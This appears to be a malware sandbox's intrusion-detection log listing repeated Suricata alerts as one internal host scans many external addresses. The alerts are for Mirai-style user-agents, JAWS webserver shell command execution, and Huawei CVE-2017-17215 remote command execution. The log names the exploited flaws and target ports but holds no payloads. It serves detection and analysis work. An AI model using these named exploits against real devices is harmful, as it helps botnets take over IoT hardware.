Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:59064 -> 198.90.180.54:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:50110 -> 197.167.89.226:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:51788 -> 94.8.190.200:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:51788 -> 94.8.190.200:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:36908 -> 131.123.125.247:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:59294 -> 183.101.116.38:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:57476 -> 208.9.61.39:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:57476 -> 208.9.61.39:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:36908 -> 131.123.125.247:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:51690 -> 156.36.78.206:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:33948 -> 35.45.188.242:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:51180 -> 17.54.164.225:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:51250 -> 41.33.227.235:37215
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:33948 -> 35.45.188.242:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:51180 -> 17.54.164.225:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:46164 -> 156.136.27.184:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:60010 -> 156.196.4.63:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:56690 -> 156.174.124.75:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:36972 -> 156.160.243.72:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:56800 -> 41.252.236.8:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:59176 -> 41.240.174.103:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:43480 -> 197.67.55.160:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:37294 -> 41.97.224.74:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:42374 -> 41.37.238.162:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:42004 -> 41.74.170.248:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:49226 -> 62.200.140.21:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:49226 -> 62.200.140.21:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:54564 -> 41.157.56.29:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:59144 -> 212.160.200.226:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:59144 -> 212.160.200.226:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:49968 -> 45.36.46.7:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:49968 -> 45.36.46.7:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:43052 -> 66.24.173.21:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:43052 -> 66.24.173.21:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:59196 -> 156.59.108.206:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:55200 -> 27.237.227.136:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:55200 -> 27.237.227.136:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:48128 -> 156.220.37.13:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:33508 -> 197.91.13.215:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:52918 -> 31.184.127.205:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:47872 -> 197.142.233.40:37215
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:52918 -> 31.184.127.205:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:48352 -> 41.53.162.133:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:43582 -> 156.162.153.5:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:48180 -> 156.154.137.128:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:49846 -> 197.128.232.182:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:39356 -> 156.68.97.235:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:56810 -> 197.133.19.220:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:46866 -> 41.167.85.71:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:43928 -> 9.97.245.184:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:43928 -> 9.97.245.184:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:42138 -> 197.190.157.186:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:54670 -> 74.67.219.248:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:54670 -> 74.67.219.248:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:45522 -> 135.110.177.174:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:45522 -> 135.110.177.174:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:50646 -> 25.246.143.164:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:50646 -> 25.246.143.164:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:55764 -> 41.229.139.194:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:59662 -> 41.61.10.200:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:47224 -> 197.192.132.151:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:37346 -> 74.67.187.229:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:37346 -> 74.67.187.229:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:43442 -> 41.66.252.94:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:50496 -> 197.77.141.197:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:56732 -> 156.105.45.222:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:47110 -> 113.128.194.225:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:47110 -> 113.128.194.225:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:54736 -> 156.150.26.154:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:60716 -> 197.227.16.10:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:39080 -> 41.79.247.129:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:48600 -> 73.11.181.94:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:48600 -> 73.11.181.94:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:51026 -> 5.130.89.178:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:51026 -> 5.130.89.178:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:33094 -> 41.218.100.231:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:55952 -> 197.166.253.195:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:51418 -> 184.113.130.61:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:39894 -> 197.144.202.170:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:46682 -> 24.159.2.208:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:51418 -> 184.113.130.61:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:46682 -> 24.159.2.208:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:59534 -> 41.23.33.34:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:54782 -> 57.193.125.46:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:56562 -> 156.201.190.43:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:46318 -> 197.249.221.114:37215
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:54782 -> 57.193.125.46:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:41052 -> 156.235.175.203:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:39112 -> 41.255.43.44:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:46528 -> 147.49.229.14:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:46528 -> 147.49.229.14:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:49442 -> 54.190.28.113:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:51598 -> 197.173.149.57:37215
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:49442 -> 54.190.28.113:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:48318 -> 93.69.149.217:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:37684 -> 41.238.65.178:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:38624 -> 133.147.117.27:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:48318 -> 93.69.149.217:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:38624 -> 133.147.117.27:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:46840 -> 156.210.142.196:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:33522 -> 117.8.254.220:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:44458 -> 41.255.64.17:37215
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:33522 -> 117.8.254.220:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:47816 -> 189.3.53.250:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:47816 -> 189.3.53.250:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:58188 -> 41.187.219.13:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:60822 -> 43.226.11.224:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:60822 -> 43.226.11.224:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:55774 -> 222.80.213.83:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:55774 -> 222.80.213.83:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:49924 -> 31.217.15.0:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:49924 -> 31.217.15.0:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:50266 -> 156.211.41.245:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:50814 -> 156.91.159.119:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:45798 -> 41.9.224.55:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:35074 -> 156.196.169.177:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:41062 -> 41.248.114.237:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:36384 -> 156.20.186.166:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:60390 -> 41.27.133.111:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:36192 -> 156.180.112.46:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:53590 -> 41.209.69.201:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:50022 -> 197.22.184.90:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:48596 -> 197.255.60.156:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:47174 -> 5.15.108.196:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:47174 -> 5.15.108.196:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:39144 -> 156.253.97.89:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:35872 -> 5.64.195.2:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:35872 -> 5.64.195.2:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:48418 -> 41.222.25.224:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:54414 -> 109.3.101.144:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:54414 -> 109.3.101.144:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:37902 -> 183.246.247.40:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:37902 -> 183.246.247.40:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:37564 -> 197.75.230.149:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:44500 -> 156.83.9.230:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:53534 -> 82.235.166.47:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:53534 -> 82.235.166.47:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:39806 -> 41.181.48.226:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:44430 -> 41.29.102.230:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:47952 -> 156.87.111.33:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:39130 -> 156.201.54.116:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:50026 -> 161.190.100.158:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:50026 -> 161.190.100.158:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:56960 -> 197.223.27.223:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:52836 -> 41.106.34.9:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:36710 -> 41.244.101.219:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:42656 -> 197.108.22.112:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:44306 -> 93.215.15.64:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:44306 -> 93.215.15.64:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:36538 -> 201.76.39.168:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:36538 -> 201.76.39.168:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:33296 -> 154.118.233.210:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:33296 -> 154.118.233.210:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:50408 -> 105.39.202.218:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:34960 -> 185.74.231.206:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:50408 -> 105.39.202.218:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:34960 -> 185.74.231.206:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:43864 -> 122.226.14.9:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:58550 -> 221.241.124.233:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:43864 -> 122.226.14.9:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:58550 -> 221.241.124.233:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:54094 -> 72.225.88.243:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:37176 -> 97.119.68.125:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:52108 -> 76.238.117.139:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:37176 -> 97.119.68.125:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:52108 -> 76.238.117.139:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:42104 -> 208.31.172.229:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:44982 -> 222.90.251.56:80
